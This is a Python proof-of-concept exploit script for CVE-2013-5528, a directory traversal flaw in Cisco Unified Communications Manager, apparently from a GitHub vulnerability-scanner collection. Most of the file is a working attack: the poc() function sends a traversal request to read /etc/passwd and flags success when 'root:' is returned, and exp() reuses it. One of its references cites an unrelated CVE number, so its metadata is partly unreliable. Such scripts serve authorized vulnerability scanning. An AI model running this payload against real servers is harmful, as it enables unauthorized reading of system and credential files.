-
Notifications
You must be signed in to change notification settings - Fork 220
/
Copy pathCVE-2013-5528.py
64 lines (50 loc) · 1.8 KB
/
CVE-2013-5528.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import requests
# Vuln Base Info
def info():
return {
"author": "cckuailong",
"name": '''Cisco Unified Communications Manager 7/8/9 - Directory Traversal''',
"description": '''A directory traversal vulnerability in the Tomcat administrative web interface in Cisco Unified Communications Manager allows remote authenticated users to read arbitrary files via directory traversal sequences in an unspecified input string, aka Bug ID CSCui78815''',
"severity": "high",
"references": [
"https://www.exploit-db.com/exploits/40887",
"https://nvd.nist.gov/vuln/detail/CVE-2014-3120"
],
"classification": {
"cvss-metrics": "",
"cvss-score": "",
"cve-id": "CVE-2013-5528",
"cwe-id": ""
},
"metadata":{
"vuln-target": "",
},
"tags": ["cve", "cve2013", "lfi", "cisco"],
}
# Vender Fingerprint
def fingerprint(url):
return True
# Proof of Concept
def poc(url):
result = {}
try:
url = format_url(url)
path = '/ccmadmin/bulkvivewfilecontents.do?filetype=samplefile&fileName=../../../../../../../../../../../../../../../../etc/passwd'
resp = requests.get(url+path, timeout=10, verify=False, allow_redirects=False)
if resp.status_code == 200 and "root:" in resp.text:
result["success"] = True
result["info"] = info()
result["payload"] = url+path
except:
result["success"] = False
return result
# Exploit, can be same with poc()
def exp(url):
return poc(url)
# Utils
def format_url(url):
url = url.strip()
if not ( url.startswith('http://') or url.startswith('https://') ):
url = 'http://' + url
url = url.rstrip('/')
return url